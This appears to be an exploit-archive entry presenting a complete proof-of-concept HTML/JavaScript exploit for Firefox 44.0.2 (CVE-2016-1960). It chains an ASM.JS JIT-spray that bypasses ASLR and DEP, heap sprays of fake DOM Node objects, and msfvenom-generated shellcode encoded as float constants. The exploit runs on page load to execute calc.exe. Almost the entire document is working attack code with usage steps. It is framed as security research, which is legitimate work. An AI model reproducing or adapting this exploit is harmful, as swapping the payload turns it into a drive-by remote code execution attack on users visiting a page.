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Firefox 44.0.2 ASM.JS JIT-Spray Remote Code Execution

🗓️ 16 Mar 2018 00:00:00Reported by Rh0Type 
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ASM.JS JIT-Spray Remote Code Execution in Firefox 44.0.

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`<!DOCTYPE HTML>  
  
<!--  
  
FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)  
*PoC* Exploit against Firefox 44.0.2 (CVE-2016-1960)  
ASM.JS float constant pool JIT-Spray special shown at OffensiveCon 2018  
  
Tested on:  
Firefox 44.0.2 32-bit - Windows 10 1709  
https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/Firefox%20Setup%2044.0.2.exe  
  
Howto:  
1) serve PoC over network and open it in Firefox 44.0.2 32-bit  
2) A successfull exploit attempt should pop calc.exe  
  
Mozilla Bug Report:  
https://bugzilla.mozilla.org/show_bug.cgi?id=1246014  
  
  
Writeup:   
https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/  
  
  
- For research purposes only -  
  
(C) Rh0  
  
Mar. 13, 2018  
  
Notes:  
*) very similar to CVE-2016-2819, but still different:  
*) this PoC (CVE-2016-1960) does trigger in 44.0.2 but not in 46.0.1  
because in 46.0.1 it is already fixed.  
*) CVE-2016-2819 does trigger the same bug in 44.0.2 and 46.0.1 because it  
was fixed in Firefox > 46.0.1  
  
-->  
  
<title>CVE-2016-1960 and ASM.JS JIT-Spray</title>  
<head>  
<meta charset=UTF-8 />  
<script>  
"use strict"  
  
var Exploit = function(){  
this.asmjs = new Asmjs()  
this.heap = new Heap()  
}  
  
Exploit.prototype.go = function(){  
/* target address of fake node object */  
var node_target_addr = 0x20200000   
  
/* target address of asm.js float pool payload*/  
var target_eip = 0x3c3c1dc8  
  
/* spray fake Node objects */  
this.heap.spray(node_target_addr, target_eip)  
  
/* spray asm.js float constant pools */  
this.asmjs.spray_float_payload(0x1800)  
  
/* go! */  
this.trigger_vuln(node_target_addr)  
};  
  
  
Exploit.prototype.trigger_vuln = function(node_ptr){  
document.body.innerHTML = '<table><svg><div id="AAAA">'  
this.heap.gc()  
var a = new Array()   
for (var i=0; i < 0x11000; i++){  
/* array element (Node object ptr) control with integer underflow */  
a[i] = new Uint32Array(0x100/4)  
for (var j=0; j<0x100/4; j++)  
a[i][j] = node_ptr   
}  
  
/* original crashing testcase  
document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td</style>';  
*/  
  
/* easier to exploit codepath */  
document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td<DD>';  
  
window.location.reload()  
};  
  
  
var Asmjs = function(){};  
  
Asmjs.prototype.asm_js_module = function(stdlib, ffi){  
"use asm"  
var foo = ffi.foo  
function payload(){  
var val = 0.0  
/* Fx 44.0.2 float constant pool of size 0xc0 is at 0xXXXX1dc8*/  
val = +foo(  
// $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py  
-1.587865768352248e-263,  
-8.692422460804815e-255,  
7.529882109376901e-114,  
2.0120602207293977e-16,  
3.7204662687249914e-242,  
4.351158092040946e+89,  
2.284741716118451e+270,  
7.620699014501263e-153,  
5.996021286047645e+44,  
-5.981935902612295e-92,  
6.23540918304361e+259,  
1.9227873281657598e+256,  
2.0672493951546363e+187,  
-6.971032919585734e+91,  
5.651413300798281e-134,  
-1.9040061366251406e+305,  
-1.2687640718807038e-241,  
9.697849844423e-310,  
-2.0571400761625145e+306,  
-1.1777948610587587e-123,  
2.708909852013898e+289,  
3.591750823735296e+37,  
-1.7960516725035723e+106,  
6.326776523166028e+180  
)  
return +val;  
}  
return payload  
};  
  
Asmjs.prototype.spray_float_payload = function(regions){  
this.modules = new Array(regions).fill(null).map(  
region => this.asm_js_module(window, {foo: () => 0})  
)  
};  
  
var Heap = function(target_addr, eip){  
this.node_heap = []  
};  
  
  
Heap.prototype.spray = function(node_target_addr, target_eip){  
var junk = 0x13371337  
var current_address = 0x08000000  
var block_size = 0x1000000  
while(current_address < node_target_addr){  
var fake_objects = new Uint32Array(block_size/4 - 0x100)  
for (var offset = 0; offset < block_size; offset += 0x100000){  
/* target Node object needed to control EIP */  
fake_objects[offset/4 + 0x00/4] = 0x29   
fake_objects[offset/4 + 0x0c/4] = 3  
fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18  
fake_objects[offset/4 + 0x18/4] = 1  
fake_objects[offset/4 + 0x1c/4] = junk  
fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24  
fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28  
fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c  
fake_objects[offset/4 + 0x2c/4] = target_eip   
}  
this.node_heap.push(fake_objects)  
current_address += block_size  
}  
};  
  
Heap.prototype.gc = function(){  
for (var i=0; i<=10; i++)  
var x = new ArrayBuffer(0x1000000)  
};  
  
</script>  
<head>  
<body onload='exploit = new Exploit(); exploit.go()' />  
  
`

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